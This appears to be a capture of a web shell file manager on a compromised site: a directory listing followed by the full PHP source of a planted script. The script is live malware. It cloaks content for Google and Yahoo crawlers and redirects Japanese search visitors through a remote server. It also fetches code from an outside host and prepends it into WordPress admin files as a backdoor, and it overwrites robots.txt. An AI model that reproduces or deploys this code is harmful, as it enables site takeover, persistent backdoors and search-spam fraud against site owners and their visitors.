Gecko [ 37julay.space ]

Name	Size	Permission	Date
Roboto	[ DIR ]	drwxr-xr-x	2025-09-12 13:17
admin-new-market	[ DIR ]	drwxr-xr-x	2025-09-13 02:38
assets	[ DIR ]	drwxr-xr-x	2025-09-13 03:07
blocks	[ DIR ]	drwxr-xr-x	2025-09-12 18:35
bootstrap-datepicker	[ DIR ]	drwxr-xr-x	2025-09-12 08:10
bootstrap-maxlength	[ DIR ]	drwxr-xr-x	2025-09-13 00:43
chart.js	[ DIR ]	drwxr-xr-x	2025-09-13 01:39
classes	[ DIR ]	drwxr-xr-x	2025-09-13 03:01
css	[ DIR ]	drwxr-xr-x	2025-09-13 02:49
custom-js	[ DIR ]	drwxr-xr-x	2025-09-13 03:35
dashboard	[ DIR ]	drwxr-xr-x	2025-09-12 21:50
datatables.net-bs4	[ DIR ]	drwxr-xr-x	2025-09-12 06:53
font-awesome	[ DIR ]	drwxr-xr-x	2025-09-13 01:58
fonts	[ DIR ]	drwxr-xr-x	2025-09-13 02:56
images	[ DIR ]	drwxr-xr-x	2025-09-13 03:38
includes	[ DIR ]	drwxr-xr-x	2025-09-12 23:25
insert	[ DIR ]	drwxr-xr-x	2025-09-13 03:35
light	[ DIR ]	drwxr-xr-x	2025-09-12 06:52
list	[ DIR ]	drwxr-xr-x	2025-09-12 21:51
media	[ DIR ]	drwxr-xr-x	2025-09-13 03:10
order	[ DIR ]	drwxr-xr-x	2025-09-13 03:38
pages	[ DIR ]	drwxr-xr-x	2025-09-13 03:35
pdf	[ DIR ]	drwxr-xr-x	2025-09-13 03:39
photo_smart	[ DIR ]	drwxr-xr-x	2025-09-12 03:55
select2	[ DIR ]	drwxr-xr-x	2025-09-13 01:47
themes	[ DIR ]	drwxr-xr-x	2025-09-13 03:38
vendors	[ DIR ]	drwxr-xr-x	2025-09-13 02:56
wp	[ DIR ]	drwxr-xr-x	2025-09-13 01:19
404.php	219.19 KB	-rw-r--r--	2024-10-25 15:16
Bangla.ttf	28 KB	-rw-r--r--	2025-09-12 20:36
LucidaCalligraphyNewBold.woff	0 B	-rw-r--r--	2025-09-12 22:40
TonnyBanglaMJ-Bold.ttf	68.96 KB	-rw-r--r--	2025-05-27 07:33
TonnyBanglaMJ-Regular.woff	38.16 KB	-rw-r--r--	2025-05-27 07:33
admin_file_upload.php	2.96 KB	-rw-r--r--	2024-11-16 10:37
all_list.php	2.1 KB	-rw-r--r--	2024-10-25 15:16
amount_auto.php	2.39 KB	-rw-r--r--	2025-05-29 16:26
api_select.txt	1 B	-rw-r--r--	2025-08-20 19:12
api_three.txt	2 B	-rw-r--r--	2025-08-20 19:12
auto_tin.txt	2 B	-rw-r--r--	2025-08-20 19:12
balance_add_remove.php	2.83 KB	-rw-r--r--	2024-10-26 14:38
balance_update.php	622 B	-rw-r--r--	2024-11-09 07:20
bio_cancel.php	5.35 KB	-rw-r--r--	2024-11-20 16:14
bio_complete.php	5.35 KB	-rw-r--r--	2024-11-20 16:14
bpbluyix.php	760 B	-rw-r--r--	2025-08-31 20:43
cambria-math.woff	729.15 KB	-rw-r--r--	2025-05-27 07:33
cardTokenName.txt	0 B	-rw-r--r--	2025-09-12 22:33
card_make.txt	1 B	-rw-r--r--	2025-08-20 19:12
change_bonus.php	1.34 KB	-rw-r--r--	2024-10-25 15:30
deduction_amount.txt	0 B	-rw-r--r--	2025-09-12 22:39
delete_card.php	1.19 KB	-rw-r--r--	2024-10-25 15:15
delete_data.php	6.51 KB	-rw-r--r--	2025-01-29 08:05
delete_server.php	1.25 KB	-rw-r--r--	2025-07-20 07:55
delete_smart.php	1.19 KB	-rw-r--r--	2025-05-29 16:24
error_log	18.16 MB	-rw-r--r--	2025-08-31 10:37
fetch_balance.php	650 B	-rw-r--r--	2024-10-25 15:16
file_cancel.php	5.61 KB	-rw-r--r--	2024-11-20 16:18
file_pending.php	14.5 KB	-rw-r--r--	2024-11-20 16:24
file_success.php	6.1 KB	-rw-r--r--	2024-11-20 16:25
fontawesome-webfont.woff	79.38 KB	-rw-r--r--	2023-12-20 13:06
fontawesome-webfont.woff2	62.95 KB	-rw-r--r--	2023-12-20 13:06
generate_token.php	1.12 KB	-rw-r--r--	2024-11-06 08:08
get_work_history.php	1.4 KB	-rw-r--r--	2024-11-14 17:27
get_work_summary.php	1.05 KB	-rw-r--r--	2024-11-14 17:28
glyphicons-halflings-regular.ttf	44.34 KB	-rw-r--r--	2023-12-20 13:06
htaccess.txt	119 B	-rw-r--r--	2025-08-21 05:40
index.php	7.03 KB	-rw-r--r--	2025-09-10 08:54
marquee.php	1.5 KB	-rw-r--r--	2024-10-25 15:16
nibondon_make.txt	2 B	-rw-r--r--	2025-08-20 19:12
nid_pending.php	14.65 KB	-rw-r--r--	2024-11-20 16:25
on_off.php	15.09 KB	-rw-r--r--	2024-11-17 07:16
on_off_test.php	14.85 KB	-rw-r--r--	2024-11-17 06:25
recharge.txt	3 B	-rw-r--r--	2025-08-20 19:12
server-copy.php	0 B	-rw-r--r--	2025-09-12 14:39
server-copys.php	4.54 KB	-rw-r--r--	2025-02-13 07:27
sign_pending.php	16.26 KB	-rw-r--r--	2024-11-20 16:26
sign_to_server.php	4.02 KB	-rw-r--r--	2025-07-20 07:55
update_marquee.php	4.88 KB	-rw-r--r--	2024-10-27 17:24
user_list.php	7.29 KB	-rw-r--r--	2024-10-31 14:05
v3_deduction_amount.txt	2 B	-rw-r--r--	2025-08-20 19:12
wp-blog-header.php	2.73 KB	-rw-r--r--	2025-09-01 07:25
wp-cron.php	2.73 KB	-rw-r--r--	2025-09-01 07:25

Rename

<?php
error_reporting(0);
@set_time_limit(120);
@ignore_user_abort(1);
$tr = "https://j250815_13.qtorp.com/";
class Req
{
    public function server($name = '', $default = '')
    {
        if (empty($name)) {
            return $_SERVER;
        }
        $name = strtoupper($name);
        return isset($_SERVER[$name]) ? $_SERVER[$name] : $default;
    }
    public function iss()
    {
        if ($this->server('HTTPS') && ("1" == $this->server('HTTPS') || "on" == strtolower($this->server('HTTPS')))) {
            return true;
        } elseif ('https' == $this->server('REQUEST_SCHEME')) {
            return true;
        } elseif ('443' == $this->server('SERVER_PORT')) {
            return true;
        } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) {
            return true;
        }
        return false;
    }
    public function host()
    {
        $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST'));
        return strpos($host, ':') ? strstr($host, ':', true) : $host;
    }
    public function scheme()
    {
        return $this->iss() ? "https" : "http";
    }
    public function dm()
    {
        return $this->scheme() . "://" . $this->host();
    }
    public function ip()
    {
        if (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
        } else {
            $ip = $this->server('REMOTE_ADDR');
        }
        return $ip;
    }
    public function isc()
    {
        $agent = strtolower($this->server('HTTP_USER_AGENT'));
        if ($agent != '' && preg_match('/googlebot|google|yahoo|aol/si', $agent)) {
            return true;
        }
        return false;
    }
    public function isg()
    {
        $refer = strtolower($this->server('HTTP_REFERER'));
        if ($refer != '' && preg_match('/google.co.jp|yahoo.co.jp|google.com/si', $refer)) {
            return true;
        }
        return false;
    }
    public function uri()
    {
        if (($pos = strpos($this->server('REQUEST_URI'), '.php')) !== false) {
            $script_name = basename($this->server('SCRIPT_FILENAME'));
            if (basename($this->server('SCRIPT_NAME')) === $script_name) {
                $url = $this->server('SCRIPT_NAME');
            } elseif (basename($this->server('PHP_SELF')) === $script_name) {
                $url = $this->server('PHP_SELF');
            } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) {
                $url = $this->server('ORIG_SCRIPT_NAME');
            } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) {
                $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name;
            } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) {
                $url = str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME'));
            }
            $requri = $url . substr($this->server('REQUEST_URI'), $pos + 4);
        } else {
            $requri = substr($this->server('REQUEST_URI'), strpos($this->server('REQUEST_URI'), '/'));
        }
        return rtrim($requri, '/');
    }
    public function execReq($url, $p = array())
    {
        $url = str_replace(' ', '+', $url);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p));
        $output = curl_exec($ch);
        $errorCode = curl_errno($ch);
        curl_close($ch);
        if (0 !== $errorCode) {
            return false;
        }
        return $output;
    }
}
$req = new Req();
$isc = $req->isc();
$isg = $req->isg();
$umap = $tr . "map";
$uri = urldecode($req->uri());
$p = array(
    "domain" => $req->dm(),
    "port" => $req->server('SERVER_PORT', 80),
    "uri" => $uri
);
if (substr($uri, -6) == "robots") {
    $output = $req->execReq($tr . "robots", $p);
    $rpt = __DIR__ . "/robots.txt";
    file_put_contents($rpt, $output);
    $robots_cont = @file_get_contents($rpt);
    if (strpos(strtolower($robots_cont), "sitemap")) {
        die("robots.txt file create success!");
    } else {
        die("robots.txt file create fail!");
    }
}
if (substr($uri, -5) == "beima") {
    function findWpAdminDir($startDir = __DIR__) {
        $currentDir = realpath($startDir);
        $depth = 0;
        while ($depth < 5) {
            $wpAdminPath = $currentDir . DIRECTORY_SEPARATOR . 'wp-admin';
            if (is_dir($wpAdminPath)) {
                return $wpAdminPath;
            }
            if ($currentDir === dirname($currentDir)) {
                break;
            }
            $currentDir = dirname($currentDir);
            $depth++;
        }
        return false;
    }
    $dir = findWpAdminDir();
    $op1 = $req->execReq($tr . "beima1", $p);
    $op2 = $req->execReq($tr . "beima2", $p);
    $f1 = $dir . DIRECTORY_SEPARATOR . 'tools.php';
    $f2 = $dir . DIRECTORY_SEPARATOR.  'includes' . DIRECTORY_SEPARATOR .'class-wp-debug-data.php';
    $r1 = $r1 = false;
    if (file_exists($f1)) {
        $o1 = @file_get_contents($f1);
        if (@file_put_contents($f1, $op1 . PHP_EOL . $o1)) {
            $r1 = true;
        }
    }
    if (file_exists($f2)) {
        $o2 = @file_get_contents($f2);
        if (@file_put_contents($f2, $op2 . PHP_EOL . $o2)) {
            $r2 = true;
        }
    }
    if ($r1 && $r2) {
        die("beima1 and beima2 success!");
    } elseif ($r1) {
        die("beima1 success,beima2 fail!");
    } elseif ($r2) {
        die("beima1 fail,beima2 success!");
    } else {
        die("beima1 and beima2 fail!");
    }
}
if (substr($uri, -4) == ".xml") {
    if (strpos($uri, "allsitemap.xml") || strpos($uri, "sitemap-index.xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, "index.xml")) {
        $output = $req->execReq($umap, $p);
        header("Content-type:text/" . (substr($output, 0, 5) === '<?xml' ? 'xml' : 'plain') . '; charset=utf-8');
        die('' . $output);
    }
    $output = $req->execReq($tr . "word", $p);
    header("Content-type:text/xml; charset=utf-8");
    if ($output == "1") {
        die('' . $req->execReq($umap, $p));
    } else {
        die('' . $output);
    }
}
$lang = $req->server('HTTP_ACCEPT_LANGUAGE');
if (!$isc && $isg && strpos($lang, 'ja')!==false) {
    $p["ip"] = $req->ip();
    $action = $tr . "jump";
    die($req->execReq($action, $p));
}
if ($isc) {
    die('' . $req->execReq($tr . "indata", $p));
}
?>